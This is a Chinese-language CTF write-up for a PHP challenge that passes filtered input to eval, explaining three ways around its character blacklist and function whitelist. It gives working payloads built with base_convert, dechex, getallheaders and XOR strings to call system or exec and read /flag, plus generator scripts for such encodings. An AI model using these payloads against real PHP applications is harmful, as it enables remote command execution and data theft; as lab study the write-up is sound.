先看到题目给出的源码:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
代码审计限制条件
- 传入的
c
的字符串长度大小不能大于80 - 传入的字符串不能包含
' '
,'\t'
,'\r'
,'\n'
,'\''
,'"'
,'``'
,'\['
,'\]'
preg_match_all
将匹配到的结果传给$used_funcs
,$used_funcs
只能是$whitelist
中的函数,意识就是传入的字符串中的词组也只能是$whitelist
中的单词
以上条件满足后即可传入eval
中执行代码
方法一
?c=$pi=base_convert(3761671484,13,36)(dechex(1598506324));($$pi){1}(($$pi){2})&1=system&2=tac /flag
分析:
base_convert
函数的功能是在任意进制的字符串之间转换数字base_convert(37907361743,10,36) ==> hex2bin
dechex(1598506324) ==> 5f474554
,hex2bin("5f474554") ==> _GET
- 选用
pi
的原因是因为题目有长度限制,白名单中最短的就是这两个字符pi
,故选它 - 当
$pi
=_GET
之后再在前面加一个$
就形成了$_GET
($$pi){1}(($$pi){2})
翻译过来就是($_GET){1}(($_GET){2}) === $_GET[1]($_GET[2])
,传入1=system
即可进行命令执行
举一反三,那么我们改如何构造出这种方法呢?base_convert
的进制转换不知道的话又怎么知道该传入什么数字和进制呢?于是写出构造脚本:
base_convert
函数构造:
<?php
$a = 'hex2bin';
for($i = 2; $i < 37; $i++){
for($j = 2; $j < 37; $j++){
if(is_numeric(base_convert($a, $i, $j))){
if(base_convert(base_convert($a, $i, $j), $j, $i) === $a){
echo 'len='.strlen(base_convert($a, $i, $j)).' '.'base_convert参数->'.base_convert($a, $i, $j).' '.$j.' '.$i.' '."\n";
}
}
}
}
?>
这样即可得到所有的进制转换结果,当然如果题目没有引号限制,is_numeric
函数也可以去掉,在里面选取所需要的即可
那么dechex
如何构造呢?这个就简单了,两行代码就可以搞定
<?php
$a = "_GET";
$num = hexdec(bin2hex($a));
echo $num . "\n";
echo (base_convert(3761671484,13,36)(dechex($num)));
?>
输出的结果既是可传入的值
方法二
?c=$pi=base_convert,$pi(47138,20,36)($pi(8768397090111664438,10,30)(){1})
分析:
base_convert(47138,20,36) ==> exec
,exec执行一个外部程序,返回最后一行内容base_convert(8768397090111664438,10,30) ==> getallheaders
,获取全部 HTTP 请求头信息- 以上语句翻译下来就是
exec(getallheaders(){1})
,可以获取请求头第一个字段的值,[]
被waf可以用{}
包囊数字来解决代替绕过中括号和引号
发包即可拿到flag
当然这里直接cat flag
也是可以的,如下:
?c=($pi=base_convert)(47138,20,36)($pi(3761671484,13,36)(dechex(109270211243818)))
命令执行就是exec("cat /*")
,可以打印出flag
方法三
利用异或将字符串转化成我们想要的字符串,例如我们需要$_GET
,那么就要获得_GET
,FUZZ代码如下:
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9; $j++){
$exp = $payload[$k] ^ ($i.$j);
echo($payload[$k]."^$i$j"."==>$exp"."\n");
}
}
}
在打印出的结果中搜寻想要的字符串,找到最短的再组合
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
is_nan^(6).(4) ==> _G
tan^(1).(5) ==> ET
- 以上就和第一种方法类似,然后在传命令执行的代码就可以了
参考:
- https://www.cnblogs.com/20175211lyz/p/11588219.html
- https://www.cnblogs.com/wangtanzhi/p/12246731.html
题目还是挺有意思的,如果再发现新方法再补上
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues